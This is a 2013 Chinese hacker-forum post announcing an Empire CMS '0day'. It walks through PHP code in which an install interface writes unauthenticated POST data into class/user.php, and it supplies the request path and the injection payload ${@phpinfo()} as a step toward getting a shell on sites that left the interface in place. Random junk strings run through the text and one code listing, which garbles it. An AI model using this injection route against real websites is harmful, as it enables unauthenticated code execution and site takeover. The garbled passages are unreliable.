找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
( }. D5 U: k4 h, N! b; a) q+ B
7 V" h$ c0 Y6 a1 ~5 p* e

5 v/ Q4 Z7 U6 m
这是帝国的一套下载系统 如图5 A  T) I0 c& N/ D: ^2 E
ps(不需要任何账户和密码,直接写shell)


1 b8 }, y* O1 _+ R& y: g

由于很多站是由于下载要整合discuz 等等一些论坛....
6 B$ K) R6 s6 {+ d6 b  I8 U


) {6 _4 z6 T# L6 m8 \9 q

而帝国他又有一个万能接口,如图


9 s5 G/ G" q" y* z* i6 |1 E8 w- i1 R6 ^4 m$ o% d) B- g
8 }& G6 M+ n/ h! u0 R

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
0 R$ @2 v+ ^& D6 o
! C( U# q2 Q- N* z当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
$ i! X, j. h$ W3 C' e: D
6 D% Y: P/ ^/ P) q在data/fun.php中的15行
/ Q; [9 R7 c% C# ^1 c0 @' J, d7 s( X7 Y- L7 e# V8 j
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {' c* l0 r, Z; ~7 x) w! r( ^- O. {
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
8 k8 _" v4 c  a  [4 d0 j3 A- g
, U/ _  O1 L. N& a5 v4 C. m+ H7 W9 ]这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
# C+ t2 N1 \# C8 Y
* G  }$ c+ U: `( d5 l* ?- F% o- B他将传进来的变量进行了切割,然后赋给了$filetext
( N0 a& a& R8 h
* M- C- W& [2 `* e5 X3 i然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了3 Z0 ]% u& c4 Y" B

! T/ h1 P. t  b4 a1 h我们看看写入的结果,随便填一个


' @/ d; s; T% c; }" d# Z
8 B0 U* S* g. c  y( e, i# a5 g6 v/ X
! B8 Y9 ~0 X2 z6 y8 \! O2 n. `$ @; l1 h& v# i* X
" A* m, }8 u+ I* y2 |

% s/ L3 u/ C2 K3 [
: s% Q9 m, [7 W' V) c7 C
) u4 J; R, p1 f$ t3 R, e

) f9 p: M" r4 D" F( D9 E( q7 P: z" ?1 o- a2 h

, ~1 v5 R' w3 C5 t4 j0 l
7 P7 g! G( P5 h2 D2 P# N5 c- f" h# {1 Q/ u8 t9 A
& K0 ]6 _4 j% B0 |. w
  X; z" Y4 w7 L4 Z4 s  K$ ^# L

/ g# ], U' c) A$ s8 n$ p, S" u. l+ u* @: X, K' ?

) ?& T  l0 i& A/ ~! w1 g
/ h& g3 p0 a, i; T( x" `( B
6 {$ Q% t; ~& }' X" ^1 Q
7 V4 n) ^0 s5 s: n' ]3 `' C' d2 Q" a( \

0 S" R* k5 k  ~- v* W

所以我们淫荡点,写个${@phpinfo()}试试


% Q3 V7 s) Z) ?: v$ I4 |! B8 N" I/ Q. J; v

然后访问以下class/user.php这个文件, k$ P+ g8 {  F$ @8 W( w
日了吧


6 j0 L7 W* g$ b: R5 j7 z, U4 r

8 T7 I5 X8 T+ ~- D& C+ i

4 K/ X7 t: {. M8 F) X1 Y& M+ w* i
: M5 E6 w+ r( \; a) b! \
9 S$ v! M0 i* M3 {" C6 L4 a) c' ]

9 b$ |' n3 b6 s* L! s4 F8 d

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表